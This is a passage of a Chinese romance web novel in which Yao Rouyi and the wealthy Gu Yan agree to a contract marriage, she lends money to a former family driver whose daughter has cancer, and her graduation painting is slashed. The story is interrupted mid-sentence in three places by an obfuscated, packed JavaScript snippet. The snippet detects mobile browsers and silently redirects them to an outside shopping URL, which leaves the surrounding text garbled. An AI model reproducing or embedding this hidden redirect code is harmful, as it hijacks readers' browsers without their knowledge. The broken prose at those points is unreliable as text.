拜托,才刚见面,就叫“小柔”叫得这么亲近自然,好似他俩真的情意绵绵,互许终生。 可瞧见顾老爷子病重之时难得的喜形于色,她实在不好在这个时候浇冷水。 只能一直忍着,没反驳。 顾老爷子又拉着姚柔伊询问了她的近况和她父亲破产的事,姚柔伊耐心回答。 直到护士说探视的时间到了,病人要静养,姚柔伊才和顾阎离开病房。 出了病房,姚柔伊忍无可忍,正要发作,顾阎先开口:“我知道你想问什么,可以去我车上说吗?这里不安全。” 姚柔伊跟着顾阎走到停车位,是黑色古斯特,顾阎绅士地替姚柔伊打开车门,接着上车打开车里空调。 车内迅速升温,姚柔伊方才被暖意包围,礼貌地回了句:“谢谢。” 顾阎打开车载音乐,挑了一首舒缓的轻音乐播放,视线从她身上轻描淡写地扫过:“裙子好看,但今天有些冷。” “你为什么不否认,在病房里我就当陪你演戏了,可接下来我不可能陪你演结婚的戏。”姚柔伊直接发问。 “你刚才也看到我爷爷的身体状况,这段时间他难得这么开心,我不能驳他的乐子。” 顾阎并不愿意结束单身,走入婚姻的围城。 尤其是不愿意和姚柔伊这样符合家族审美的理想人选结婚。 但他不得不为爷爷妥协,“我的态度和你的一样,我也不想被婚姻束缚,既然我们有着相同的目标,不如合作吧?” “合作?”姚柔伊半信半疑地复述。 “是的,我们可以形婚,至于领不领证也随你。如果你不愿意登记,我可以找人制作假证蒙混过关。” “可是,这对我又有什么好处呢?” 4. 第 4 章 姚柔伊一来不是慈善达人,毫无回报地助人为乐; 二来也对嫁入豪门毫无兴趣。 既然现在是顾阎主动找她合作,她有必要提前了解她的收益是什么,才好评估值不值得合作。 顾阎单手扶着方向盘,食指若无其事地点了两下,困意悄无声息滋生,他抬手轻捏眉心,举手投足间都是漫不经心的随意。 他实在困倦,酒庄一晚过后,一个分公司管理层爆出来丑事,他紧急赶去处理。刚从外地出差归来,马不停蹄结束一场三小时董事会,紧接着来医院看望爷爷,如同上了发轴的陀螺,一刻不得停歇。 他已经三十多个小时没有合眼,即便此刻和姚柔伊讨论结婚大事,也有些力不从心,“什么好处你提行吗?” 得他首肯,姚柔伊断不扭捏,直截了当从手机里翻出之前看中的、即将开盘的楼盘,递给顾阎看:“我想要这个,你觉得呢?” 顾阎强撑着眼皮扫了一眼,心中做了个计算,新楼盘预计约15万一平,姚柔伊看中的那套大概两百三十平,三千多万,于他而言不算什么,故而爽快应道:“可以,除此之外,你父亲的债务我也负责。” 答应得爽快,还不提附加条件,好似大人满足小孩要求一般,姚柔伊没由来心动一下。 只能说财富的确会给,如他这般男人增添几分成熟豁达的魅力。 “这是一年的报酬。”姚柔伊又补充,“毕竟我也不知道你想结几年。” 闻言顾阎点点头,低笑,似孔雀羽毛搔人耳廓:“那就先买个两年婚期吧。” “那我们现在起草一份合约吧。”她试探性问道:“以及我们是不需要发生性关系的吧?” 顾阎此时已经阖上眼睛,声音变得很低很轻,梦呓似的,“合约你起草吧,抱歉我现在很困,想先睡一会儿。” 姚柔伊这才敢直直地盯着顾阎看,离的近了才发觉,他黑眼圈有点重,下巴也微微泛青,冒出极短的胡渣,想必是很久没有休息所致。 此刻,她有些尴尬局促,他撑不住睡着,那她呢? 现在是坐在车上等他醒过来,还是下车独自去机场回学校? 顾阎一闭眼,呼吸就变得很规律且平稳,俨然熟睡过去,她不好意强行叫醒他。 姚柔伊从没想过,自己有一天会坐在初次相见的男人豪车上,看他睡觉。 丢女伴在一旁,自己睡着,其实是一件没有风度的事情,可发生在这个男人身上,竟给她一种合情合理且需要被谅解的错觉。 或许是他给人的第一眼印象就是彬彬有礼,进退有度的绅士。 等了约五分钟,外头有一辆车在找停车位,迟迟没有空位腾出,姚柔伊终于找到可以叫醒顾阎的机会。 她扯他的胳膊,低声唤他:“醒醒。” 扯了两下,顾阎眉头有所松动,眼睛慢慢睁开,眼神从迷茫逐渐变得深邃,他清了清嗓子,“有事?” 姚柔伊指了指外面:“他在找车位,我们开走吧。” 顾阎会意,他的眉头还是皱着,刚才短暂的睡眠,让他更加疲惫,此刻有些提不上劲,这个状态开车有风险,他问:“你会开车吗?” 姚柔伊诚实地说:“我有驾照,但是只开过几次,也没有开过你这种车型,我不知道会不会开。” “没关系,我教你。” 男人都喜欢掌控感,很少会把驾驶权交给一个女人,更别提是初次见面的男女,姚柔伊对他的这份信赖甚至有些惶恐,忙保证道:“我会认真开的。” 两人下车换了个位置,姚柔伊紧张万分地启动车子,在顾阎的口头指导下慢慢起步开出了停车位。 顾阎调出导航,设置了目的地,是一个高档别墅区。 姚柔伊开得战战兢兢,把豪车开出电动三轮的时速,握着方向盘的手心沁出了汗。 豪车到底招眼,尤其是开的这么慢的,路上的车都跟她较劲,一辆辆车驰速从她旁边超过,素质低的司机还会探出车窗嘲讽几句垃圾话。 姚柔伊强压着怒火,搁平时她早忍不住对喷了,谁叫车里坐着顾阎,她只能伪装成小白花,老老实实开车。 顾阎对此毫不在意,半眯着眼,时不时看下路况,和她说话:“之前来过东城?” “没有。”她随口撒了个慌。 “第一次来啊,不打算在这玩几天?” “只请了三天假,后天要到校。” “好的,我明天带你在这转一转。” 他没有问姚柔伊愿不愿意,就直接做了决定,好像笃定她会留下来玩一天。 实际上,姚柔伊也确实愿意,她喜欢旅游,来了东城,没有不玩一圈的道理,上次实在是太匆忙了,完全没来得及玩。 除此之外,顾阎作为她将来的形婚对象,她也需要更多地了解他,一起玩乐是个拉近距离的机会。 姚柔伊突然想到老姚,想他如果知道自己这么快就叛变,又愿意结婚了,估计会乐坏的。 没办法,当得知对方并不图她这个人,结婚只是一场合作,还能拿到一笔不小的报酬时,她愉快地叛变了。 为了钱嘛,不寒颤。 车里又陷入了沉寂,顾阎没有继续说话,闭目养神,然并没有睡着,中间来了好几通电话,有一通被他接通,交谈了几句,其余的均被挂断。 至此,姚柔伊对顾阎最直观的印象,除了他好帅,就是他好困,他好忙。 三十分钟后,到了目的地,顾阎又是短暂的入眠状态,他靠在椅背上,头朝她的方向侧偏,有种他靠在她肩膀上的错觉。 姚柔伊没有直接叫醒顾阎,反倒是关了车内灯光,和他一起眯一会。 或许是刚才开车时她全程太紧张太消耗气力,她入睡得也很快。 在梦中,她看见了一望无际的草原,紧接着是一群白鸽飞过,她还看见远方有一群人,她朝那群人跑去,看见那里在办婚礼,新郎领着新娘走一条长长的地毯,再后来,新郎把新娘的白纱盖头掀开,赫然发现是她的脸。 姚柔伊一下子被惊醒。 醒来后发现旁边的顾阎也醒了,正看着她,眼神就像一汪古谭深不见底。 他的眼睛是内双,这个角度下能看见细窄的双眼皮。 他松开安全带坐起身,又俯身替她也松了安全带。 他靠近时,与生俱来的雄性压迫感驱使她不由得往后缩了下。 她又嗅到一缕舒适的香味。 “醒了?” “对不起,我刚才睡着了。”姚柔伊不好意思地笑了下,温和地道歉。 “没事,要道歉也是我该道歉。”顾阎浑不在意:“家里有客房,没休息好的话可以在这休息。” 顿了下,他又说:“或者,我送你去酒店?” 第一次来,他吃不准姚柔伊愿不愿意住进他家。 毕竟她看起来是那么的正经保守。 “没关系,不用这么麻烦。”姚柔伊心中直呼顾阎可真是个绅士,连这点小事都能想到。 “那好,随我来。” 姚柔伊亦步亦趋,跟着顾阎进了他的居所。 大约七八百平,三层,装修风格是中规中矩的现代风,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚柔伊尴尬得头脑冒汗,她不是没看过爱情动作片,可头一次观看这种超大幕,立体声的片子。 爱情动作片,必须得在被窝里悄悄看才对味啊。 煎熬了半小时,顾阎终于洗完澡过来了,头发吹得半干,下巴刮得很干净,他穿着黑色浴袍,露出的脖颈和锁骨很性感,浴袍下方是结实矫健的小腿,腿毛很茂盛。 姚柔伊在心里咽口水,她有被美男出浴图撩到,甚至不介意和他进一步接触下。 但此刻她不能表现出来,她需要尽快补救一下她摇摇欲坠的淑女形象。 姚柔伊如同抓到救命稻草,红着眼睛道:“麻烦你快关了,我不要看了,我根本不知道是这种片子。” 顾阎垂眸看着惊慌失色的姚柔伊,她的脸白里透红,眼波流转,眼尾满是娇俏的媚态。 顾阎喉咙紧了下,他承认自己有些意动。 这里的气氛很暧昧,如果她不是正经到无趣的纯良女孩,他真想在这里吻她,让她的叫声和影片里的声音交融在一起。 可惜,她和自己不是一路人。 他想,如她这般不经吓的、爱哭的小女孩,如果他吻上去,她一定哭得很惨,他实在不想让记忆中的那两颗红彤彤的桃子眼再度浮现。 他只能带着几分遗憾和可惜关了影片,并正人君子地安慰她别害怕,都是自己的错,不应该给她放这种片子。 5. 第 5 章 影音室的小小闹剧暂时平息,姚柔伊对自己惊险拯救形象的表现很是满意,同时也更加小心维持自己的伪装。 就是,她不太明白,顾阎回卧室补觉前,看向自己的目光,有种说不出道不明的遗憾。 他到底在失望什么? 莫非失望自己选了这个大尺度片子? 只能这么解释了。 他果然喜欢纯洁如白纸的女孩。 姚柔伊躺在客房床上,玩从电竞室带出来的游戏机。 通关之后,正要睡一觉,就收到了老姚的电话。 经历上一通电话,姚柔伊已经患上了老姚电话ptsd,她有一种不好的预感。 接通后不好的预感变成了现实。 “闺女,顾老爷子那边看完了吗?现在能不能回来一趟?爸这边遇到点事想跟你商量。” “怎么了爸?你现在安全吗?”姚柔伊脑海中闪过一系列□□电影场景,譬如债主雇佣一帮穷凶极恶的大汉上门讨债。 “我没事,主要是老周有关。” “周叔?他怎么了?” 老周是她爸的司机,效劳了20多年,为人敦厚,和蔼可亲,在姚柔伊念书的时候,老周经常接她放学。 “前几个月他闺女体育课的时候昏倒了,送去医院检查,查出来血癌,治了几个月家里积蓄已经见底,老周没办法,求上了咱家。” “怎么会这样,之前也没听说呀。” “老周这人实心肠,知道公司状况不好濒临破产,就没把家里事跟咱们说,现在估计是实在没办法了。”老姚长吁短叹,“想当初他还认购了公司5万块钱的股票,结果就被套牢了,我心里真是过意不去。” “爸,你别着急,我马上回去。” 姚柔伊迅速下床,整理好衣服和随身物品,买了最快的航班。 走之前,她犹疑片刻,不知道要不要和顾阎说一声她有急事,马上要走,能不能送她去机场。 纠结了三分钟后,她还是什么也没说。 一来,他们的真实关系只比陌生人强上一点,她没法心安理得地把他当男朋友差使; 二来,他实在困倦,她不好意思因为自己家的私事叫醒他。 姚柔伊留了张便签,匆忙离去。 凭心而论,她对这场突如其来的小变故,扰乱他们一同游玩的小计划,还是有点小失望的。 不管怎么说,他的脸和身材还是完美契合她颜控属性。 *** 三个小时后,姚柔伊回到家,见到客厅里的老姚和老周。 老周苍老了很多,头发花白大半,脸颊略微凹陷,眼中全是绝望的愁绪。 姚柔伊无法和他长时间对视,他眼中深深的悲苦几乎要溢出来了。 姚柔伊记得,老周夫妻俩是中年得女,女儿今年应该高三,本是最美好的年纪,结果生活却开了一个残忍的玩笑。 “姚姚回来了。”老周局促地站起身。 “周叔,你女儿现在情况怎么样,有做手术吗?” “做了一次手术,情况还是不太好,前几天检查,又扩散了,还得筹钱接着做手术。” 姚柔伊虽然对癌症了解不多,但听到这种描述,做完手术癌细胞还是扩散,想必是癌症晚期,基本没有治愈的可能,只能尽力延长生命。 理性地说,老周其实没有必要再借钱做手术,很大程度是徒劳无功的。 但感性上,老夫妻俩就只有这么一个女儿,没有父母会见死不救,哪怕概率再小,哪怕倾家荡产。 姚柔伊不知道该怎么宽慰这个绝望的父亲,此时再温柔的语言都显得苍白,她只问:“第二次手术要多少钱?” “估计要十五万。”老周窘迫地涨红脸,羞于启齿,“就是,能不能把之前买股票的那五万块还给我,我知道公司破产了,这钱应该拿不到了,可囡囡还等着钱救命,我……”他越说越激动,眼眶中滚下两行热泪。 老姚心中酸涩难忍,背过脸也抹了把泪,他很想帮忙,可资产被冻结,他什么也拿不出来。 “周叔,你先别急。”姚柔伊抽了张面巾纸递过去,“你在我们家做了这么多年,我们一定会帮您的。五万块钱,我这就还你。” 她无比庆幸大学的时候没有只顾着玩,而是一直用课余时间接稿子,积累了一笔小金库,否则她现在也只能干着急。 姚柔伊很快给老周转去五万。 老周感激涕零,就差给她跪下来。 姚柔伊于心不忍,又给老周转了十万,替他凑齐了手术费,就当借他的。 她知道癌症实在是太耗钱了,这笔钱借出去很有可能会很久收不回来,可她还是借出去了。 不为别的,就为自己心里能舒服一些。 姚柔伊在世上亲人并不多,老周陪伴她一整个童年时期,这世上能让她重感情的人所剩无几了。 老周走后,姚柔伊和老姚相顾无言,两人都为老周家的境遇悲戚。 老姚感慨:“本来以为我够惨了,忙活大半辈子的公司没了,唉,现在觉得,还是健康最重要,钱没了可以再赚,人没了就真没了。” “嗯。”姚柔伊心情不佳,有气无力地应了声。 “顾老爷子那边怎么样?” 姚柔伊摇摇头:“顾老先生的身体状况看起来挺糟,不知道能撑多久。” 她又说:“我今天除了看了顾老爷子,还看见他孙子了。” “那个顾阎?”老姚来了精神,“看起来怎么样,满意不?” “我满不满意不好说,你倒是挺满意的,我跟他可能有结果。” “真的假的?”老姚好奇心要跳出来了,“怎么突然转变想法了?” 姚柔伊:“因为他不想和我结婚。” 老姚一头雾水:“什么不想跟你结婚,他要是不愿意结婚,你俩不更没有可能了?” “就是因为我们俩都不想结婚,所以这事才能成的。”姚柔伊拍拍老姚的肩膀,哼笑:“我和他现在不是结婚,而是交易。” 姚柔伊继续说:“作为交易对象,我挺满意他的,长得帅,人大方,性格很君子,应该不会对我不利。” 然而老姚听完她的话后,却一反常态:“要不结婚这事还是算了吧,爸不希望你的婚姻是一场交易,我本来是希望你去相亲,两个人看对眼,发展出爱情的火花后再结婚的。” 对于老姚的良心大发现,姚柔伊已经免疫了,她撇撇嘴角,补了一句:“他还说你的债务他全权负责。” 老姚当即一秒变卦:“其实先结婚也能发展出爱情的火花的。” 呵呵,就知道。 十级变脸大师都没老姚技艺精湛。 *** 顾阎睡了一觉后,身体里蓄满能量,又恢复工作狂人的精神状态。 他在笔记本电脑上处理完一些工作,腹中翻涌出饥饿感,他打算询问下姚柔伊想吃什么,然后订餐。 刚出卧室,就看见她留在茶几上的便签。 [抱歉,家中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634423|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有急事,先走了。联系方式:188xxxxxxxx] 走了? 顾阎还挺意外的。 这女孩和他真生分,走了也只敢留张纸条告知,也不把他叫醒送一送。 其实以她的长相,稍加利用,很容易得到男人无条件的帮助。 可她实在太正经太无趣,根本不知道利用自己的优势。 这种姑娘是珍稀物种,总会有一股子莫名其妙的傲气。 在男女之事上,他还是喜欢被女人依赖的。 即便对她不甚感兴趣,顾阎也会好好履行自己的未婚夫职责,主动关心。 他拨通姚柔伊留下的联系方式。 姚柔伊看见陌生的来电显示,本来以为骚扰电话,但看到一串同号的号码,立刻明白是顾阎打来的。 姚柔伊接通。 “家里出了什么事?需要我帮忙吗?” “不用担心,现在已经解决了。” “走之前怎么不跟我说一声?”他的语气中有一点小责怪。 “不是留了便签嘛。” “我是说叫醒我当面说,我应该送你去机场的。” “不用麻烦,你当时在休息。” “这些是我身为未婚夫的职责。” 未婚夫一出,险些把姚柔伊呛着,这人入戏也太快了吧? “额……”她都不知道怎么回答才好。 顾阎重新抛出话题:“能跟我说说你家里具体发生了什么事吗?” 短短一段时间内,发生了太多事,姚柔伊其实也挺想和人倾诉的,排解内心苦闷:“就是我爸以前的司机,他女儿得了癌症,来我们家借钱的,我爸的积蓄都被冻结了,只能我过去解决。” “你借出去多少钱?”顾阎直接问。 他俩不是情侣,而是合作对象,虽然不熟,却完全不避讳谈钱,“十五万。哦不,应该是十万,另外五万是他之前认购的股票,本来也该还回去的。” “嗯,好,我知道了。” 姚柔伊没有其他话话说,便道:“那没事的话,我先挂了,谢谢你的关心。” 挂过电话后,姚柔伊刚起身回房间,手机就提示支付宝收到一笔转账。 姚柔伊点开,数了一下0,居然整整20万! 她不是没见过这么多钱,在她家破产前,这些钱对她来说也只是小钱,可对现在的她来说,二十万不是一笔小数目,她得熬夜画多少张图才能赚到这个钱呀。 当然,她后来才知道20万是支付宝余额转账的每日上限。 他为什么要给自己转这些钱? 她应该收下吗? 在姚柔伊犹豫着要不要把钱转回去的时候,顾阎的电话又打来了。 姚柔伊接通后直接问:“干嘛给我转那笔钱?” “这钱本来就该我出的。”顾阎不容置疑地说:“既然我们已经达成合作,我也承诺过负责你父亲的债务,这笔钱就应该由我给。” “那你为什么又多给五万?” “就当是没能带你玩的补偿。” “这不好吧?”话虽这么说,翘起的嘴角却怎么压也压不住。 “没什么好不好的,你不要有心理压力,我只是想给你而已,我们是合作伙伴不是吗?” 是呀,他们是合作伙伴,这笔钱就是合作经费。 “那我收下了,提前预祝合作愉快。” “对了,如果有空的话,你可以拟个合约,我们下次见面的时候签订。” 6. 第 6 章 合约? 也是,谈生意要签合同。于他们而言,结婚也是特殊形式的生意,当然也需要一份婚前协议。 姚柔伊在手机备忘录上开始起草合约。 首先,双方不能干涉对方的私生活。 不干涉私生活的最好方式就是不同居。 姚柔伊爱自由,忌束缚,不喜欢和人同住一个屋檐下。她只有大一上学期时,鉴于囊中羞涩,才勉强住在学校宿舍里,等到接稿赚钱后,她便搬出去了。 就算顾阎长相完美符合她的审美,她也不会选择同居,毕竟她散漫惯了,不喜欢做家务,收拾东西是很长时间才收拾一次,打扫卫生是定期找钟点工。 如果住在一起,她为了虚假的贤淑人设,势必要兢兢业业,一丝不苟,恐怕连瘫在沙发上打游戏都不行。 想想就痛苦,每天戴着面具生活,她真的会累死。 在姚柔伊继续想合约条款的时候,微信收到新朋友申请。 对方备注顾阎。 姚柔伊刚想点同意,骤然记起自己的朋友圈还没有清理,最新一条还是上周和同学蹦迪时拍的。 她穿着超闪的吊带裙,脸上的妆偏烟熏,头发还是橙红色,在酒吧的流动炫彩的灯光下,凹着前凸后翘的身姿,比了一个摇滚手势。 桀骜不驯中透露几分性感迷人。 这若是被顾阎看到,岂不是当场崩人设。 万万不可! 姚柔伊火速把一些不合人设的照片全部仅自己可见,只留下了积极向上的日常内容,譬如看书感悟,背单词打卡,画作分享,旅游照片等。 再三确定朋友圈已接近名门闺秀的标准,姚柔伊才点了同意。 顾阎的头像是一张滑雪的背影,即便穿着厚重滑雪服,也能看出高瘦挺拔的身姿,好似银装素裹的雪场上,一抹跳跃的蓝色火焰。 他的id是GUYAN,中文名的英语大写,很简洁,没什么他意。 姚柔伊点进他的朋友圈,内容少的可怜,不到十条,一半以上的分享还是公司推文和行业新闻,最近的一条日常还是过年时候的烟花照片。 这张照片还被他设置成了朋友圈封面。 本以为能欣赏顶级富豪纸醉金迷的生活,让她这个家境衰败的少女开开眼,没想到这人可真神秘,有效信息比她还少。 姚柔伊把刚才在备忘录写的合约条例发过去。 姚柔伊:[你看看怎么样?] 很快提示了“对方正在输入……” 姚柔伊的心脏莫名紧了下。 这该死的条件反射。 顾阎:[正合我意] 顾阎:[只是] 顾阎:[不同居或许没办法做到] 姚柔伊:[为什么?] 顾阎:[我父母甚至希望我们婚后可以和他们一起居住。] 姚柔伊:[和长辈一起住太不方便了,我不同意。] 顾阎:[我也是这样想的。] 顾阎:[如果不和他们住在一起,我们恐怕只能退一步了,同居并且每周回我父母家一趟。] 姚柔伊:[这……还有其他的选择吗?] 姚柔伊想了想,决定来一把无中生有,她善解人意地提议:[我大学学的是油画专业,毕业之后工作也是这方面。我需要一个房间用来画画,画画用的颜料之类的都有味道,所以我们还是别住在一起了吧,我怕你不习惯。] 顾阎:[这个不用担心,我可以为你置办一个工作室用来画画,不需要在家里画。] 姚柔伊:[……] 有钱人都是这样的吗?! 为了画画专门购置一处房产。 顾阎:[至于不同床,我没有意见。] 在顾阎的预想中,姚柔伊大概率床上只会躺尸,是条完全放不开的死鱼,他并没有兴趣和这类人发生性关系。 他信奉,和毫无性魅力的人上床不如献给自己的右手。 姚柔伊:[好的。] 姚柔伊暗忖,顾阎果然是个重视契约精神的绅士,连她的身体都不感兴趣。 她甚至发散了下思维,对于这样的正人君子,如果她故意走光撩拨他,他能把持到哪一步。 意识到自己的恶俗想法,姚柔伊都不免有些诧异,该死的,自己难不成对正人君子有欲望,这不可能呀,她甩甩脑袋,把糟糕的想法甩出去,自己只不过暂时被他影响了。 顾阎:[不干涉对方私生活这点,我也很认同。] 顾阎:[不过,我接受开放式婚姻,但不接受自己的名誉受到影响。] 顾阎:[所以,我希望姚小姐能守住本心。] 守、住、本、心?! 姚柔伊庆幸自己还好没喝水,否则准喷出来。 顾阎这人说话可真是够含蓄的。 不就是害怕自己给他戴绿帽子被媒体发现吗? 姚柔伊:[顾先生请放心,我会努力的。] 姚柔伊:[同样,我希望顾先生也能守住本心。] 哈哈,不给我出轨,你也休想! 她这人素来讲究公平,如果她出轨,她就不会在意另一方会不会出轨,如果她守身如玉,她就坚决不能接受另一半寻花问柳。 大约这就是不患寡而患不均的思想指导。 顾阎:[当然。] 顾阎腹诽,就算我在外面有人,也一定会瞒得很好,不会给顾家和集团带来任何负面影响。 姚柔伊:[你看一下还有什么需要补充的吗?比如财产公证这块。] 毕竟这个对他这个巨富更重要。 自己存下的那点钱,于他而言,无异于三瓜两枣,不够塞牙缝的。 顾阎:[这方面姚小姐不用担心,我已经让我的律师着手准备了。] 也是,自己纯属多心了,这种豪门大户结婚,怎么可能不把财产这块考虑好呢。 姚柔伊:[哦,好。] 顾阎:[姚小姐选择领证还是制作假证?] 这倒是真让姚柔伊犯了难,如果真的领证,离婚以后,她白白多了个人生污点,不如办个假证应付过去。 但是,如果领证的话,离婚时候她多少能分到一大笔夫妻共同财产,这辈子都能衣食无忧。 到底是选择名声还是财产? 姚柔伊犹疑片刻,还是拜倒在金钱的脚下。 况且,前夫是顾阎,或许并不构成污点。男人有时还挺贱的,通常不接受女友的前任比自己差劲,而对于前任比自己强的,反倒是愉快接受。 姚柔伊:[还是领证吧,做假证是违法的,万一暴露,你家里人肯定会很生气的。] 顾阎嗤笑。 呵呵,这姑娘真是老实人,连做假证都不敢,恐怕是上学期间从未作过弊的单纯孩子。 此时的顾阎自然想象不到姚柔伊的真实想法,愈发觉得她果然和自己想象中的形象如出一辙。 顾阎:[好的,那我们约个时间去领证。] 姚柔伊:[下个月我毕业,毕业典礼之后再去领证好吗?] 她不想在在校期间结束自己的未婚身份,这太怪异了。 顾阎:[ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634424|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,到时候我接你,再联系。] 姚柔伊:[嗯。] 姚柔伊想发个晚安过去,转念一想,还没到互发晚安的程度,干脆作罢。她要维持矜持有礼的淑女形象,是绝对不能这么主动的。 刚放下手机,便看见微信亮了一下。 点开一看。 顾阎:[有点晚了,睡吧,晚安。] 姚柔伊心里跳了一下,搞什么,咱们不熟吧?! 但还是很有教养的问了句:[晚安。] 放下手机,一向三分钟入眠的姚柔伊,罕见地失眠了。 顾阎的音容样貌在她脑海中挥之不去。 越想越清晰。 他明明有一双祸害众生的含情眼,薄薄一层的内双,勾人得紧,可看人的时候,眼神总是疏离漠然的,他真是矛盾体,明明有一副风流倜傥的皮囊,可行为举止总给人一种规矩正经的感觉。 他该是浪子才对,但偏偏是正人君子。 姚柔伊的直觉并没有错,只是她猜不到这种矛盾感是基于顾阎的刻意伪装。 他们都戴上厚厚一层面具,却自以为看透对方。 —— 翌日,姚柔伊回到学校。 正值毕业季,姚柔伊当下最重要的事就是毕业作品的收尾工作。 毕业作品是她拿手的人物像,她没画男人,只因她觉得女人的身体更具艺术美。 她画的是一个穿着墨绿色丝绸吊带睡裙的女人,躺在酒红真皮沙发上抽烟。 墨绿,酒红,黑发,雪肤,灰雾,浓烈大胆的色彩碰撞出强震撼的吸睛感。 这幅作品她基本已经完成了,但还是不放心,一遍又一遍继续细化精进。 院校今年和内地最大的慈善拍卖会合作,为山区留守儿童筹集善款,取得第一名的毕业作品,有机会在毕业典礼那天,和其他画家的作品同台拍卖。 这对毕业生来说,是一件很有纪念意义的事情。 她有信心毕业作品能拿到优秀的等级,但能不能杀出重围,作为第一名参展拍卖还是心里没底。 毕竟这届毕业生卧虎藏龙,其中就有斩获多种绘画大赛金奖的天赋型选手,姚柔伊没多大信心能战胜他。 这段时间姚柔伊全身心投入到毕业作品的收尾阶段,根本顾不上联系顾阎。 她不主动,可以用矜持来作掩饰,但顾阎却也一次没有主动找她,连句晚安也没有。 如果不是那20万还老老实实躺在她的账户上,姚柔伊差点以为,那晚顾阎莫名的关心是场镜花水月。 或许,互不联系才是他们之后的常态。 只是那晚,姚柔伊差点会错了意,还以为顾阎这人,对她产生了什么别样的想法。 现在姚柔伊确定,顾阎这人对她并没有多余的心思。 * 上交毕业作品的前一天,姚柔伊最后一次去了画室。 画室陆陆续续来了不少同学。 姚柔伊凝视着自己的作品,她总觉得差一口气,画面处理很细致,可就是缺少那一股直冲心灵的劲。 简而言之,这幅作品只能吸睛,走不了心。 姚柔伊卡在瓶颈太久了,她失望地叹了口气。 她腹中蓦地有些难受,许是昨晚吃冰淇淋的缘故,她戳了戳一旁聊天的同学:“帮我看一下画,我去个卫生间。” 聊天吹水的男生回头敷衍地嗯了声。 姚柔伊怕他不靠谱,特地把画架搬到角落,防止被人磕碰到。 却不料,回来时,她惊觉自己的毕业作品被破坏了! 7. 第 7 章 当人开始走背运时,倒霉的事总会接踵而来。 姚柔伊觉得自己是不是应该抽空去庙里拜拜。 家里破产也就罢了,学校还出了这种幺蛾子事。她原本对取得第一名、参加慈善竞拍一事格外期待,现在好了,别说能不能被评选上,就是能不能安稳毕业都是个未知数。 短短一天,她上哪里重画一副一模一样的。 旁人遇到这般糟心事,保不齐要破防大哭,心灰意冷,短时间内走不出来。 奈何姚柔伊不是个一般人,越是有人要搞她,她越是不服输。 来啊,谁怕谁啊! 她素来不是个忍气吞声的人,大学四年,虽谈不上什么老实本分,但也不惹事不怕事,平时基本上没和同学闹过特别大的矛盾。 以致于刚发现画被毁了的时候,她还格外诧异,原来学校居然还真有看不惯她,不惜在最后一天也要下手害她的人。 愤怒之余,她心生好奇,那人究竟是谁。 能激发她求知欲和探索欲的事情着实少见。 姚柔伊冷冷目视一圈,起先帮她看画的那人早就没了踪影,不知是畏罪潜逃还是羞愧难当。 整个画室不似方才的嘈杂,所有人都朝她看过来,还有三三两两人凑在一起窸窸窣窣。 “有人知道谁干的吗?”姚柔伊指着画,朗声问道。 虽不抱任何希望,但看见所有人都面面相觑不敢言的模样,她着实有些烦躁。 “当时画室里很乱,我光顾着说话了,完全没注意到这边。” “真够倒霉的,反正我绝对没接近过这幅画,跟我没有半点关系。” “说不定是别人搬东西时不小心蹭破了。” …… 若画真是被无意蹭破了,那还真是她纯纯倒霉,可她临走前特意将画搬到不影响过道的角落里,被刮蹭到的概率太低,尤其画的伤口有一道较为整齐的边缘,很像是用美工刀划破,接着被抓烂。 半晌,一个扎着双麻花辫,平日里极其内向羞涩的女生,小声开口:“我、我看见了。” 姚柔伊对这女生的印象并不深刻,她和班上的同学交流不算很多,此刻这女生竟然愿意站出来,她很感激,“真的吗,你真是帮了我大忙,不用我去调监控了,你看清是谁了吗?” 不管怎么说,已经能初步确定,绝不是打闹时发生的意外,而是却有人为。 “我,我不认识那个人,他穿着黑色卫衣,卫衣帽是戴起来的,还戴着口罩,我当时感觉那人很奇怪,就多留意了一下,他在你画那里停留了一会就很快走开了,我当时没去看你的画,不知道他竟然干出这种事……对,对不起……”女生越说越自责。 姚柔伊听了这话,心凉半截,她以为是熟人作案,但若是不认识的人干的,还穿戴严实,找起来只会更麻烦。 “这不怪你,谢谢你给我提供了宝贵的线索,等这事处理完,我请你吃饭。”姚柔伊不知道有没有加过这女生微信,又道:“要不我们先加个微信,以后好联系。” 对于姚柔伊的谢意,女生的脸瞬间涨红,连连摆手,语速加快以致于磕磕绊绊:“不、不用了,你之前帮过我的。” 姚柔伊大脑一片空白,实在不知道自己什么时候帮过她,她平时的朋友基本都是和蒋洲那样大大咧咧的,很少会和这种内向的女孩有过多的交往。 看出姚柔伊的疑惑,女孩马上解释起来:“大二的时候,有一次体检,抽血之前我减肥,两顿没有吃饭,抽完血我头很晕,那时候你帮我要了一杯糖水,还给我买了一个面包。可能这事你已经忘了……” 但是我还记得,我一直都记得,你虽然漂亮得有些难以接近,但其实是个特别善良的人。 后半段话,女孩没好意思说出口。 